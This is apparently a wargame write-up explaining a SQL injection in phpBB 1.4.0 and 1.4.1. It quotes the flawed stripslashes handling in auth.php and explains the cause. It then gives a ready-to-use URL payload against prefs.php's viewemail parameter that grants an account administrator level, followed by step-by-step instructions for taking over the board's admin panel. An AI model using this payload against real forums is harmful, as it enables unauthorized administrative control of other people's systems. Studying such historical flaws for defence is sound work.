Wargames Server 3.0 whitepaper PHPBB BOARD

By r0ot-hAcK

phpBB, is an open source bulletin board created by the phpBB group. phpBB does not properly sanitize input, and this creates a potential problem that can lead to arbitrary SQL queries getting executed, which essentially allows administrative access to the bulletin board.

First I tried to login through SQL injection and I saw that was not vulnerable to this kind of exploit. Then I went to Google and searched for some exploits for phpBB board 1.4.0 and I found one that works me very good.

Vulnerable systems:
phpBB version 1.4.0
phpBB version 1.4.1

I began to studied and then I thought this is the exploit that I need to apply.

The problem lies in the fact that phpBB includes an algorithm in the auth.php file that removes backslashes that PHP automatically adds to the Get / Post /Cookie variables.

```
<Example code from auth.php>

if(get_magic_quotes_gpc() == 1)
{
 switch($REQUEST_METHOD){
   case "POST":
      while (list ($key, $val) = each ($HTTP_POST_VARS)){
         if( is_array($val) ){
            array_walk($val, 'stripslashes_array', '');
            $$key = $val;}
      else{
         $$key = stripslashes($val);}
      }
   break;

</ End example code>
```

Therefore, certain PHP variables submitted through a URL can reach an SQL query with un-escaped quotes, which is not good for security reasons. In the prefs.php file such a situation exists where a user can execute an arbitrary query by supplying a certain value for the $viewemail variable.

Example URL gives a username "r0ot-hAcK" level 4 (administrative) privileges the board:

```
<Example URL>

http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D
'r0ot-hAcK'%23

</ End example URL>
```

QUICKLY STEPS:

1. Registered an account on a phpBB board version 1.4.0
2. I Entered above URL with the correct site name and replace with my username.
3. Click on "Administration Panel" near the bottom of the page.

Thanks ASTALAVISTA for this kind of GAMES!!
r0ot-hACK by GUATEHACK